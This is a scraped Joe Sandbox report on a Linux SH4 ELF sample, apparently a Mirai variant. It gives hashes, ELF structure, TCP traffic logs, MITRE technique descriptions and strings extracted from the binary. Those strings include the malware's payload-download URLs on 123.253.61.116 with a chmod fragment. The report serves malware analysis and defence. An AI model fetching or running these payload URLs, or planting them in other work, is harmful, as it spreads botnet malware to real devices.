	avaydna.exe	Get hash	malicious	Njrat	Browse	104.17.25.14
	HateSpeech2024_Summary.pdf.lnk.bin.lnk	Get hash	malicious	Emmenhtal Loader, MalLnk	Browse	104.21.2.79
	paint.exe	Get hash	malicious	Blank Grabber	Browse	162.159.137.232
	K27Yg4V48M.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	hkMUtKbCqV.exe	Get hash	malicious	Unknown	Browse	162.159.135.234
	IH5XqCdf06.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	3LcZO15oTC.exe	Get hash	malicious	Unknown	Browse	104.21.43.44
CANONICAL-ASGB	unix.x86.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	unix.arm5.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	main.sh4.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	fuckunix.arm7.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	Space.spc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	main.mpsl.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	fuckunix.x86.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	z0r0.arc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	z0r0.mips.elf	Get hash	malicious	Unknown	Browse	185.125.190.26
	z0r0.mpsl.elf	Get hash	malicious	Unknown	Browse	185.125.190.26

File type:	ELF 32-bit LSB executable, Renesas SH, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.801990815335566
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	momo.sh4.elf
File size:	80'476 bytes
MD5:	c835909ddf03e2d1cc54d762342fd469
SHA1:	b794d3546cdf91691f05a664d0b68ea13bb806d0
SHA256:	a9a7bf018400c881c04a298a5fe2d45c90a00532d93ff6d68184540a116d28ee
SHA512:	fc94c971b3cafcb81745c954d77e4e57921b02c9f06603c742227a0afde064f60ac0a28a08c2b8232f447e09f7cbfbbbd98d2e67357a2b8ea58fe5d708421359
SSDEEP:	1536:9aEwgtmHjwysvYzvUY5zKIle+PXQbiCgKC9p6OERRca10RtqFp:9rojBsv149EsXQbiCgKuMlp
TLSH:	AC73AE76E424B996C0C6433064F4DF390B63AAD8A6631E77669046B25407EDCF60EFF8
File Content Preview:	.ELF.....................@.4....8......4. ...(...............@...@.\|+..\|+...............0...0B..0B......L..........Q.td............................././"O.n........#.@........#.*@.....o&O.n...l..............................././.../.a"O.!...n...a.b("...q.

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	<unknown>
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x4001a0
Flags:	0x9
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	80076
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x400094	0x94	0x30	0x0	0x6	AX	4
.text	PROGBITS	0x4000e0	0xe0	0xfd20	0x0	0x6	AX	32
.fini	PROGBITS	0x40fe00	0xfe00	0x24	0x0	0x6	AX	4
.rodata	PROGBITS	0x40fe24	0xfe24	0x2d58	0x0	0x2	A	4
.ctors	PROGBITS	0x423000	0x13000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x423008	0x13008	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x423014	0x13014	0x878	0x0	0x3	WA	4
.bss	NOBITS	0x42388c	0x1388c	0x4460	0x0	0x3	WA	4
.shstrtab	STRTAB	0x0	0x1388c	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x400000	0x400000	0x12b7c	0x12b7c	6.9094	0x5	R E	0x10000	.init .text .fini .rodata
LOAD	0x13000	0x423000	0x423000	0x88c	0x4cec	4.2412	0x6	RW	0x10000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 5, 2025 15:25:23.040558100 CET	51738	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:25:23.045367002 CET	3778	51738	1.1.1.1	192.168.2.14
Jan 5, 2025 15:25:23.045429945 CET	51738	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:25:23.046139956 CET	51738	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:25:23.050869942 CET	3778	51738	1.1.1.1	192.168.2.14
Jan 5, 2025 15:25:23.050921917 CET	51738	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:25:23.055726051 CET	3778	51738	1.1.1.1	192.168.2.14
Jan 5, 2025 15:25:27.206418037 CET	46540	443	192.168.2.14	185.125.190.26
Jan 5, 2025 15:25:33.056062937 CET	51738	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:25:33.060826063 CET	3778	51738	1.1.1.1	192.168.2.14
Jan 5, 2025 15:25:44.410650015 CET	3778	51738	1.1.1.1	192.168.2.14
Jan 5, 2025 15:25:44.410979033 CET	51738	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:25:44.415719986 CET	3778	51738	1.1.1.1	192.168.2.14
Jan 5, 2025 15:25:45.412805080 CET	51740	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:25:45.418337107 CET	3778	51740	1.1.1.1	192.168.2.14
Jan 5, 2025 15:25:45.418411970 CET	51740	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:25:45.419343948 CET	51740	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:25:45.424082994 CET	3778	51740	1.1.1.1	192.168.2.14
Jan 5, 2025 15:25:45.424124956 CET	51740	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:25:45.428864956 CET	3778	51740	1.1.1.1	192.168.2.14
Jan 5, 2025 15:25:57.925340891 CET	46540	443	192.168.2.14	185.125.190.26
Jan 5, 2025 15:26:06.785589933 CET	3778	51740	1.1.1.1	192.168.2.14
Jan 5, 2025 15:26:06.785764933 CET	51740	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:26:06.790715933 CET	3778	51740	1.1.1.1	192.168.2.14
Jan 5, 2025 15:26:07.786992073 CET	51742	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:26:07.791773081 CET	3778	51742	1.1.1.1	192.168.2.14
Jan 5, 2025 15:26:07.791856050 CET	51742	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:26:07.792340040 CET	51742	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:26:07.797064066 CET	3778	51742	1.1.1.1	192.168.2.14
Jan 5, 2025 15:26:07.797101021 CET	51742	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:26:07.801924944 CET	3778	51742	1.1.1.1	192.168.2.14
Jan 5, 2025 15:26:29.182487011 CET	3778	51742	1.1.1.1	192.168.2.14
Jan 5, 2025 15:26:29.182723045 CET	51742	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:26:29.187489033 CET	3778	51742	1.1.1.1	192.168.2.14
Jan 5, 2025 15:26:30.184593916 CET	51744	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:26:30.189450026 CET	3778	51744	1.1.1.1	192.168.2.14
Jan 5, 2025 15:26:30.189553022 CET	51744	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:26:30.190469027 CET	51744	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:26:30.195293903 CET	3778	51744	1.1.1.1	192.168.2.14
Jan 5, 2025 15:26:30.195334911 CET	51744	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:26:30.200169086 CET	3778	51744	1.1.1.1	192.168.2.14
Jan 5, 2025 15:26:40.193005085 CET	51744	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:26:40.197751045 CET	3778	51744	1.1.1.1	192.168.2.14
Jan 5, 2025 15:26:51.571712971 CET	3778	51744	1.1.1.1	192.168.2.14
Jan 5, 2025 15:26:51.571883917 CET	51744	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:26:51.576685905 CET	3778	51744	1.1.1.1	192.168.2.14
Jan 5, 2025 15:26:52.573385000 CET	51746	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:26:52.578210115 CET	3778	51746	1.1.1.1	192.168.2.14
Jan 5, 2025 15:26:52.578264952 CET	51746	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:26:52.579075098 CET	51746	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:26:52.583892107 CET	3778	51746	1.1.1.1	192.168.2.14
Jan 5, 2025 15:26:52.583954096 CET	51746	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:26:52.588783979 CET	3778	51746	1.1.1.1	192.168.2.14
Jan 5, 2025 15:27:13.949373960 CET	3778	51746	1.1.1.1	192.168.2.14
Jan 5, 2025 15:27:13.949506044 CET	51746	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:27:13.954725027 CET	3778	51746	1.1.1.1	192.168.2.14
Jan 5, 2025 15:27:14.950663090 CET	51748	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:27:14.955523968 CET	3778	51748	1.1.1.1	192.168.2.14
Jan 5, 2025 15:27:14.955606937 CET	51748	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:27:14.956104040 CET	51748	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:27:14.960885048 CET	3778	51748	1.1.1.1	192.168.2.14
Jan 5, 2025 15:27:14.960935116 CET	51748	3778	192.168.2.14	1.1.1.1
Jan 5, 2025 15:27:14.965704918 CET	3778	51748	1.1.1.1	192.168.2.14

System Behavior

Analysis Process: momo.sh4.elf PID: 5509, Parent PID: 5428

General

Start time (UTC):	14:25:14
Start date (UTC):	05/01/2025
Path:	/tmp/momo.sh4.elf
Arguments:	/tmp/momo.sh4.elf
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	14:25:14
Start date (UTC):	05/01/2025
Path:	/tmp/momo.sh4.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Start time (UTC):	14:25:14
Start date (UTC):	05/01/2025
Path:	/tmp/momo.sh4.elf
Arguments:	-
File size:	4139976 bytes
MD5 hash:	8943e5f8f8c280467b4472c15ae93ba9

Source: momo.sh4.elf	ReversingLabs: Detection: 60%
Source: momo.sh4.elf	Virustotal: Detection: 60%			Perma Link

Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 185.125.190.26
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Source: momo.sh4.elf	String found in binary or memory: http://123.253.61.116/fuck/momo.arm7;chmod
Source: momo.sh4.elf	String found in binary or memory: http://123.253.61.116/fuck/momo.mips;
Source: momo.sh4.elf	String found in binary or memory: http://123.253.61.116/fuick/momo.x86
Source: momo.sh4.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: momo.sh4.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report momo.sh4.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Malware Threat Intel

Yara Signatures

Initial Sample

Memory Dumps

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: momo.sh4.elf PID: 5509, Parent PID: 5428

General

Chronological Activities

Analysis Process: momo.sh4.elf PID: 5511, Parent PID: 5509

General

Chronological Activities

Analysis Process: momo.sh4.elf PID: 5513, Parent PID: 5511

General

Chronological Activities

Linux Analysis Report
momo.sh4.elf